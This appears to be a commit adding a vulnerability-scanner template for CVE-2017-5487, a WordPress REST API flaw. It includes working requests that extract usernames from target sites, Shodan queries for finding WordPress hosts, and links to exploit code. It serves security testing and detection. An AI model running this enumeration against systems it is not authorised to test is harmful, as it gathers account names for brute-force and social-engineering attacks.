Create CVE-2017-5487.yaml

http/cves/2017/CVE-2017-5487.yaml

@@ -0,0 +1,67 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress REST API - User Enumeration
+  author: ritikchaddha
+  severity: medium
+  description: |
+    WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information, including valid usernames, via a REST API (wp-json/wp/v2/users) request. The vulnerability allows exposure of user data for all users who had authored a post of a public post type.
+  impact: |
+    An attacker can enumerate valid WordPress usernames through the REST API, leading to increased risk of targeted attacks such as brute force attempts or social engineering.
+  remediation: |
+    Update WordPress installations to version 4.7.1 or later, where this vulnerability is addressed. Review REST API exposure and consider installing a plugin like Stop User Enumeration for added protection.
+  reference:
+    - https://github.com/K3ysTr0K3R/CVE-2017-5487-EXPLOIT/blob/main/CVE-2017-5487.py
+    - https://www.exploit-db.com/exploits/41497
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2017-5487
+    cwe-id: CWE-200
+    cpe: cpe:2.3:a:wordpress:wordpress:4.7:*:*:*:*:*:*:*,cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: wordpress
+    product: wordpress
+    shodan-query:
+      - http.component:"WordPress"
+      - http.component:"wordpress"
+      - cpe:"cpe:2.3:a:wordpress:wordpress"
+  tags: cve2017,cve,wordpress,wp,vuln,enum
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"id":'
+          - '"name":'
+          - '"slug":'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: json
+        name: "usernames"
+        json:
+          - '.[] | .slug'
+          - '.[].name'
+        part: body